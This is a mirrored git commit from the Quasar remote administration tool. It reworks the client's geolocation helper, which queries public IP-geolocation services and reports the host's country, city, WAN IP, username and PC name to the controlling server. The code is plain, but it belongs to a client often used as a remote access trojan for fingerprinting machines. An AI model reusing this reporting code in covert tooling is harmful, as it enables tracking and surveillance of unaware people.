mirror of https://github.com/quasar/Quasar.git
Improved GeoLocationHelper
This commit is contained in:
parent
0c2a80a710
commit
c56617434d
|
@ -17,7 +17,8 @@ public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthenticati
|
|||
{
|
||||
GeoLocationHelper.Initialize();
|
||||
new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
|
||||
GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
|
||||
GeoLocationHelper.GeoInformation.country, GeoLocationHelper.GeoInformation.country_code,
|
||||
GeoLocationHelper.GeoInformation.region, GeoLocationHelper.GeoInformation.city, GeoLocationHelper.ImageIndex,
|
||||
SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client);
|
||||
}
|
||||
|
||||
|
|
|
@ -1,6 +1,9 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Runtime.Serialization;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
|
||||
namespace xClient.Core.Helper
|
||||
|
@ -36,10 +39,7 @@ public static class GeoLocationHelper
|
|||
};
|
||||
|
||||
public static int ImageIndex { get; set; }
|
||||
public static string Country { get; private set; }
|
||||
public static string CountryCode { get; private set; }
|
||||
public static string Region { get; private set; }
|
||||
public static string City { get; private set; }
|
||||
public static GeoInfo GeoInformation { get; private set; }
|
||||
public static DateTime LastLocated { get; private set; }
|
||||
public static bool LocationCompleted { get; private set; }
|
||||
|
||||
|
@ -55,10 +55,9 @@ public static void Initialize()
|
|||
// last location was 30 minutes ago or last location has not completed
|
||||
if (lastLocateTry.TotalMinutes > 30 || !LocationCompleted)
|
||||
{
|
||||
TryGetWanIp();
|
||||
TryLocate();
|
||||
|
||||
if (CountryCode == "-" || Country == "Unknown")
|
||||
if (GeoInformation.country_code == "-" || GeoInformation.country == "Unknown")
|
||||
{
|
||||
ImageIndex = 247; // question icon
|
||||
return;
|
||||
|
@ -66,7 +65,7 @@ public static void Initialize()
|
|||
|
||||
for (int i = 0; i < ImageList.Length; i++)
|
||||
{
|
||||
if (ImageList[i].Contains(CountryCode.ToLower()))
|
||||
if (ImageList[i].Contains(GeoInformation.country_code.ToLower()))
|
||||
{
|
||||
ImageIndex = i;
|
||||
break;
|
||||
|
@ -75,13 +74,118 @@ public static void Initialize()
|
|||
}
|
||||
}
|
||||
|
||||
private static void TryLocate()
|
||||
{
|
||||
try
|
||||
{
|
||||
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInfo));
|
||||
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString)))
|
||||
{
|
||||
GeoInformation = (GeoInfo)jsonSerializer.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
SystemCore.WanIp = GeoInformation.ip;
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
TryLocateFallback();
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocateFallback()
|
||||
{
|
||||
string xmlIp;
|
||||
string xmlCountry;
|
||||
string xmlCountryCode;
|
||||
string xmlRegion;
|
||||
string xmlCity;
|
||||
|
||||
GeoInformation = new GeoInfo();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
XmlDocument doc = new XmlDocument();
|
||||
doc.LoadXml(responseString);
|
||||
|
||||
xmlIp = doc.SelectSingleNode("Response//IP").InnerXml;
|
||||
xmlCountry = doc.SelectSingleNode("Response//CountryName").InnerXml;
|
||||
xmlCountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml;
|
||||
xmlRegion = doc.SelectSingleNode("Response//RegionName").InnerXml;
|
||||
xmlCity = doc.SelectSingleNode("Response//City").InnerXml;
|
||||
|
||||
GeoInformation.ip = (!string.IsNullOrEmpty(xmlIp))
|
||||
? xmlIp
|
||||
: "-";
|
||||
GeoInformation.country = (!string.IsNullOrEmpty(xmlCountry))
|
||||
? xmlCountry
|
||||
: "Unknown";
|
||||
GeoInformation.country_code = (!string.IsNullOrEmpty(xmlCountryCode))
|
||||
? xmlCountryCode
|
||||
: "-";
|
||||
GeoInformation.region = (!string.IsNullOrEmpty(xmlRegion))
|
||||
? xmlRegion
|
||||
: "Unknown";
|
||||
GeoInformation.city = (!string.IsNullOrEmpty(xmlCity))
|
||||
? xmlCity
|
||||
: "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
SystemCore.WanIp = GeoInformation.ip;
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
GeoInformation.country = "Unknown";
|
||||
GeoInformation.country_code = "-";
|
||||
GeoInformation.region = "Unknown";
|
||||
GeoInformation.city = "Unknown";
|
||||
LocationCompleted = false;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(SystemCore.WanIp))
|
||||
TryGetWanIp();
|
||||
}
|
||||
|
||||
private static void TryGetWanIp()
|
||||
{
|
||||
string wanIp = "-";
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
@ -103,54 +207,60 @@ private static void TryGetWanIp()
|
|||
|
||||
SystemCore.WanIp = wanIp;
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocate()
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://freegeoip.net/xml/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
[DataContract]
|
||||
public class GeoInfo
|
||||
{
|
||||
[DataMember]
|
||||
public double longitude { get; set; }
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse) request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
[DataMember]
|
||||
public double latitude { get; set; }
|
||||
|
||||
XmlDocument doc = new XmlDocument();
|
||||
doc.LoadXml(responseString);
|
||||
[DataMember]
|
||||
public string asn { get; set; }
|
||||
|
||||
Country = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryName").InnerXml))
|
||||
? doc.SelectSingleNode("Response//CountryName").InnerXml
|
||||
: "Unknown";
|
||||
CountryCode =
|
||||
(!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryCode").InnerXml))
|
||||
? doc.SelectSingleNode("Response//CountryCode").InnerXml
|
||||
: "-";
|
||||
Region = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//RegionName").InnerXml))
|
||||
? doc.SelectSingleNode("Response//RegionName").InnerXml
|
||||
: "Unknown";
|
||||
City = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//City").InnerXml))
|
||||
? doc.SelectSingleNode("Response//City").InnerXml
|
||||
: "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Country = "Unknown";
|
||||
CountryCode = "-";
|
||||
Region = "Unknown";
|
||||
City = "Unknown";
|
||||
LocationCompleted = false;
|
||||
}
|
||||
}
|
||||
[DataMember]
|
||||
public string offset { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string ip { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string area_code { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string continent_code { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string dma_code { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string city { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string timezone { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string region { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string country_code { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string isp { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string postal_code { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string country { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string country_code3 { get; set; }
|
||||
|
||||
[DataMember]
|
||||
public string region_code { get; set; }
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue